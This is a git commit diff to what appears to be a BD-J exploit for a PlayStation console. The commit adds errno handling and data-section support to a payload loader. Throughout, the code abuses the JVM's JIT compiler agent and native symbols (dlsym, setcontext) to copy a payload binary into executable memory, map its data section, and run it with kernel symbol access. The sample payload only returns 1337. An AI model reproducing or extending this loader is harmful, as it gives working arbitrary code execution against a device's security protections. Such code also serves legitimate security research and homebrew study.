Support data section in payload and implement errno.

This commit is contained in:
Andy Nguyen 2021-10-27 21:04:09 +02:00
parent 3020b3476d
commit 560014c17d
5 changed files with 94 additions and 17 deletions

View File

@ -34,6 +34,7 @@ public final class API {
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath"; private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
private static final String SETJMP_SYMBOL = "setjmp"; private static final String SETJMP_SYMBOL = "setjmp";
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext"; private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
private static final String ERROR_SYMBOL = "__error";
private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray"; private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray";
private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J"; private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J";
@ -65,6 +66,7 @@ public final class API {
private long JVM_NativePath; private long JVM_NativePath;
private long setjmp; private long setjmp;
private long __Ux86_64_setcontext; private long __Ux86_64_setcontext;
private long __error;
private boolean jdk11; private boolean jdk11;
@ -127,7 +129,7 @@ public final class API {
private void initSymbols() { private void initSymbols() {
JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL); JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL);
if (JVM_NativePath == 0) { if (JVM_NativePath == 0) {
throw new IllegalStateException("JVM_NativePath symbol could not be found."); throw new IllegalStateException("Could not find JVM_NativePath.");
} }
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL); __Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
@ -145,7 +147,7 @@ public final class API {
} }
if (__Ux86_64_setcontext == 0) { if (__Ux86_64_setcontext == 0) {
throw new IllegalStateException("__Ux86_64_setcontext symbol could not be found."); throw new IllegalStateException("Could not find __Ux86_64_setcontext.");
} }
if (jdk11) { if (jdk11) {
@ -156,13 +158,17 @@ public final class API {
dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL); dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
} }
if (Java_java_lang_reflect_Array_multiNewArray == 0) { if (Java_java_lang_reflect_Array_multiNewArray == 0) {
throw new IllegalStateException( throw new IllegalStateException("Could not find Java_java_lang_reflect_Array_multiNewArray.");
"Java_java_lang_reflect_Array_multiNewArray symbol could not be found.");
} }
setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL); setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL);
if (setjmp == 0) { if (setjmp == 0) {
throw new IllegalStateException("setjmp symbol could not be found."); throw new IllegalStateException("Could not find setjmp.");
}
__error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL);
if (__error == 0) {
throw new IllegalStateException("Could not find __error.");
} }
} }
@ -218,7 +224,7 @@ public final class API {
} }
} }
throw new IllegalStateException("Native method could not be installed."); throw new IllegalStateException("Could not install native method.");
} }
private void buildContext( private void buildContext(
@ -345,6 +351,10 @@ public final class API {
return call(func, (long) 0); return call(func, (long) 0);
} }
public int errno() {
return read32(call(__error));
}
public long dlsym(long handle, String symbol) { public long dlsym(long handle, String symbol) {
int oldHandle = (int) RTLD_DEFAULT; int oldHandle = (int) RTLD_DEFAULT;
try { try {

View File

@ -80,7 +80,7 @@ class Exploit implements Runnable {
socket.close(); socket.close();
Screen.println("[*] Executing payload..."); Screen.println("[*] Executing payload...");
long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin"); long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin", 0x4000);
int ret = (int) api.call(payload, api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym")); int ret = (int) api.call(payload, api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym"));
Screen.println("[+] Result: " + ret); Screen.println("[+] Result: " + ret);
} catch (Exception e) { } catch (Exception e) {

View File

@ -19,6 +19,18 @@ public final class JIT {
public static final int PAGE_SIZE = 0x4000; public static final int PAGE_SIZE = 0x4000;
public static final int ALIGNMENT = 0x100000; public static final int ALIGNMENT = 0x100000;
public static final int PROT_NONE = 0x0;
public static final int PROT_READ = 0x1;
public static final int PROT_WRITE = 0x2;
public static final int PROT_EXEC = 0x4;
public static final int MAP_SHARED = 0x1;
public static final int MAP_PRIVATE = 0x2;
public static final int MAP_FIXED = 0x10;
public static final int MAP_ANONYMOUS = 0x1000;
public static final long MAP_FAILED = -1;
private static final int CHUNK_SIZE = 0x30; private static final int CHUNK_SIZE = 0x30;
private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160; private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160;
@ -46,6 +58,7 @@ public final class JIT {
private final API api; private final API api;
private long sceKernelGetModuleInfo; private long sceKernelGetModuleInfo;
private long mmap;
private long read; private long read;
private long write; private long write;
private long BufferBlob__create; private long BufferBlob__create;
@ -65,15 +78,23 @@ public final class JIT {
} }
private void init() { private void init() {
initSymbols();
initJitHelpers();
}
private void initSymbols() {
sceKernelGetModuleInfo = sceKernelGetModuleInfo =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL); api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL);
mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "mmap");
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL); read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL); write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) { if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) {
throw new IllegalStateException("Symbols could not be found."); throw new IllegalStateException("Could not find symbols.");
}
} }
private void initJitHelpers() {
long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE); long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE);
api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE); api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE);
api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE); api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE);
@ -92,7 +113,7 @@ public final class JIT {
i++; i++;
} }
if (i == bdjSize) { if (i == bdjSize) {
throw new IllegalStateException("BufferBlob::create function could not be found."); throw new IllegalStateException("Could not find BufferBlob::create.");
} }
BufferBlob__create = bdjBase + i - 0x21; BufferBlob__create = bdjBase + i - 0x21;
@ -106,16 +127,28 @@ public final class JIT {
i++; i++;
} }
if (i == bdjSize) { if (i == bdjSize) {
throw new IllegalStateException("Compiler agent socket could not be found."); throw new IllegalStateException("Could not find compiler agent socket.");
} }
long compilerAgentSocketOpcode = bdjBase + i - 0x10; long compilerAgentSocketOpcode = bdjBase + i - 0x10;
compilerAgentSocket = compilerAgentSocket =
api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7); api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7);
} }
public long mapPayload(String path) throws Exception { private long align(long x, long align) {
return (x + align - 1) & ~(align - 1);
}
public long mapPayload(String path, long dataSectionOffset) throws Exception {
RandomAccessFile file = new RandomAccessFile(path, "r"); RandomAccessFile file = new RandomAccessFile(path, "r");
if ((dataSectionOffset & (PAGE_SIZE - 1)) != 0) {
throw new IllegalArgumentException("Ddata section offset is not page aligned.");
}
if (dataSectionOffset > file.length()) {
throw new IllegalArgumentException("Data section offset is too big.");
}
// TODO: Currently we just use maximum size so that the address is predictable. // TODO: Currently we just use maximum size so that the address is predictable.
long size = MAX_CODE_SIZE; long size = MAX_CODE_SIZE;
// long size = file.length() + 0x88 + ALIGNMENT - 1; // long size = file.length() + 0x88 + ALIGNMENT - 1;
@ -123,22 +156,27 @@ public final class JIT {
// throw new IllegalArgumentException("Payload is too big."); // throw new IllegalArgumentException("Payload is too big.");
// } // }
// Allocate JIT memory.
long name = api.malloc(4); long name = api.malloc(4);
api.strcpy(name, "jit"); api.strcpy(name, "jit");
long blob = api.call(BufferBlob__create, name, size); long blob = api.call(BufferBlob__create, name, size);
long code = blob + api.read32(blob + 0x20);
api.free(name); api.free(name);
if (blob == 0) {
throw new IllegalStateException("Could not allocate JIT memory.");
}
long code = blob + api.read32(blob + 0x20);
long address = (code + ALIGNMENT - 1) & ~(ALIGNMENT - 1); long address = align(code, ALIGNMENT);
long request = api.malloc(COMPILER_AGENT_REQUEST_SIZE); long request = api.malloc(COMPILER_AGENT_REQUEST_SIZE);
long response = api.malloc(API.INT8_SIZE); long response = api.malloc(API.INT8_SIZE);
for (long i = 0; i < file.length(); i += CHUNK_SIZE) { // Copy .text section.
for (long i = 0; i < dataSectionOffset; i += CHUNK_SIZE) {
byte[] chunk = new byte[CHUNK_SIZE]; byte[] chunk = new byte[CHUNK_SIZE];
file.seek(i); file.seek(i);
file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE)); file.read(chunk, 0, (int) Math.min(dataSectionOffset - i, CHUNK_SIZE));
api.memset(request, 0, COMPILER_AGENT_REQUEST_SIZE); api.memset(request, 0, COMPILER_AGENT_REQUEST_SIZE);
api.memcpy(request + 0x00, chunk, CHUNK_SIZE); api.memcpy(request + 0x00, chunk, CHUNK_SIZE);
@ -156,6 +194,29 @@ public final class JIT {
api.free(response); api.free(response);
api.free(request); api.free(request);
// Map the .data section as RW.
if (api.call(
mmap,
address + dataSectionOffset,
align(file.length() - dataSectionOffset, PAGE_SIZE),
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS,
-1,
0)
== MAP_FAILED) {
throw new IllegalStateException("Could not map data section.");
}
// Copy .data section.
for (long i = dataSectionOffset; i < file.length(); i += CHUNK_SIZE) {
byte[] chunk = new byte[CHUNK_SIZE];
file.seek(dataSectionOffset);
int read = file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE));
api.memcpy(address + i, chunk, read);
}
return address; return address;
} }
} }

View File

@ -6,4 +6,7 @@ ENTRY(_start)
SECTIONS SECTIONS
{ {
. = 0x916300000; . = 0x916300000;
.text : { *(.text) }
. = 0x916304000;
.data : { *(.data) }
} }

View File

@ -4,6 +4,9 @@
typedef int32_t SceKernelModule; typedef int32_t SceKernelModule;
int payload(int (* sceKernelDlsym)(SceKernelModule handle, const char *symbol, void **addrp)) { int x = 1337;
return 1337;
int payload(int (*sceKernelDlsym)(SceKernelModule handle, const char *symbol,
void **addrp)) {
return x;
} }